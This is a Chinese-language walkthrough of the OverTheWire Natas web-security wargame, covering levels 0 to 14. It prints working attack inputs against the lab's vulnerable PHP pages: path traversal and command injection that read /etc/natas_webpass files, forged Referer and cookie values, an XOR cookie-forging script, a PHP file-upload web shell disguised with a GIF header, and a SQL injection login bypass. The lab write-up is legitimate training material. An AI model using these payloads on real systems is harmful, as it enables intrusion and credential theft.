靶场链接:https://overthewire.org/wargames/natas/natas0.html
Level 0
按照题目的提示登录web页面,查看源码里获得下一级密码
Level 0 --> Level 1
登录natas1
提示禁用了右键,浏览器里选开发者选项查源码就可以了
Level 1 --> Level 2
登录natas2
页面写什么都没有,看了请求头之类的,确实什么都没有,发现源码里有一个奇怪的地方
<img src="files/pixel.png">
显示这个web有一个目录/files,访问files目录后里面除了pixel.png还有一个文本里面有下一级密码
[PARENTDIR] Parent Directory -
[IMG] pixel.png 2016-12-15 16:07 303
[TXT] users.txt 2016-12-20 05:15 145
Level 2 --> Level 3
登录natas3
源码中提示
<!-- No more information leaks!! Not even Google will find it this time... -->
谷歌都找不到,意味着限制爬虫的robots.txt
中有内容
访问http://natas3.natas.labs.overthewire.org/robots.txt
回显了一个目录,访问目录里面就有下一级密码
http://natas3.natas.labs.overthewire.org//s3cr3t/
[PARENTDIR] Parent Directory -
[TXT] users.txt 2016-12-20 05:15 40
Level 3 --> Level 4
登录natas4
提示很明显
You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
需要改请求头的Referer参数为http://natas5.natas.labs.overthewire.org/
使用burpsuit完成即可获得密码
Level 4 --> Level 5
登录natas5
提示
Access disallowed. You are not logged in
继续用burpsuit,发现cookie里有一项
loggedin=0
这里改成1提交就可以获得下一级密码
Level 5 --> Level 6
登录natas6
页面有显示源码按钮,看到提示的源码
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
如果输入的内容和已有的serect内容一致就会返回natas7的密码,看到包涵了一个文件secret.inc,直接访问这个文件就会发现serect的实际内容,提交即可
Level 6 --> Level 7
登录natas7
有两个按钮,触发后看到链接的变化
http://natas7.natas.labs.overthewire.org/index.php?page=home
http://natas7.natas.labs.overthewire.org/index.php?page=about
源码里有提示
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
构造路径穿越就可以访问到natas8的密码
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../etc/natas_webpass/natas8
Level 7 --> Level 8
登录natas8
还是源码审计
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
就是把endodedSecret
的内容按照顺序执行 hex2bin --> strrev --> base64_decode就可以获得secret来提交获得密码
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
echo base64_decode(strrev(hex2bin($encodedSecret)))
?>
Level 8 --> Level 9
登录natas9
继续源码审计
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
就是把用户输入的内容执行了grep -i $key dictionary.txt
这里可以用到分割符“|”来进行额外的命令执行,构造内容直接获取密码
asdasda | cat /etc/natas_webpass/natas10
Level 9 --> Level 10
登录natas10
源码审计
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
和上一题很相似,只是过滤了一部分命令分隔符,但是grep本身也具有读取文本的功能,构造内容读取密码
[A-Z][a-z] /etc/natas_webpass/natas11
Level 10 --> Level 11
登录natas11用户
代码审计老长了
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
首先这里终极目标是把“showpassword”的值改为“yes”
xor_encrypt()是一个异或算法,其中key的值未知
loadData()是读取cookie更新data值的一个函数
saveData()是一个将data值转换为cookie的函数
先由data xor key得到cookie可知,用data xor cookie可以求得key,cookie的值可以用浏览器,burpsuit、charles等等方法看到
稍稍修改一下xor_encrypt()即可
<?php
$cookie='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';
$decode_cookie = base64_decode($cookie);
function xor_encrypt($in) {
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$key = json_encode($defaultdata);
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$s_key = xor_encrypt($decode_cookie);
echo $s_key
?>
执行得到key为qw8J
得到key以后就需要把defaultdata中“showpassword”的值改为“yes”重新生成cookie,利用远程序稍加修改即可实现
<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)]; //把传入的内容和key按位异或
}
return $outText;
}
function saveData($d) {
echo (base64_encode(xor_encrypt(json_encode($d))));
}
$my_cookie = saveData($defaultdata);
echo $my_cookie
?>
最后把重构好的cookie在打开页面的时候用burpsuit拦截替换data=后面的值后转发得到下一级密码
Level 11 --> Level 12
登录natas12用户
还是代码审计,有一个上传功能
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
看了半天其实就是随机了文件名,对扩展名和内容都没有审计,直接用php查看/etc/natas_webpass/natas13,用返回的上传路径连接去查看就可以了。。。
<?php
$a = system('cat /etc/natas_webpass/natas13');echo $a;
?>
Level 12 --> Level 13
登录natas13用户
和上一题源码很像
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
这里的关键函数是exif_imagetype()
exif_imagetype() 读取一个图像的第一个字节并检查其签名
所以我们在上一题的代码前面加上图像的识别头GIF89a?
即可
GIF89a?<?php
$a = system('cat /etc/natas_webpass/natas14');echo $a;
?>
Level 13 --> Level 14
登录natas14用户
代码审计
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
输入用户名和密码没有任何过滤,而且有一个get的参数debug可以看到执行的语句非常和谐,构造一个payload看看回显
http://natas14.natas.labs.overthewire.org/?username=1&password=1&debug=1
回显
Executing query: SELECT * from users where username="1" and password="1"
Access denied!
这里只要用一个"来闭合用户名用or构造一个永真的值然后用#结尾即可
构造后的username为1" or 1#
,password那部分可以为空。提交即可获得下一级密码
Level 14 --> Level 15
因数据库水平有限,笔记待更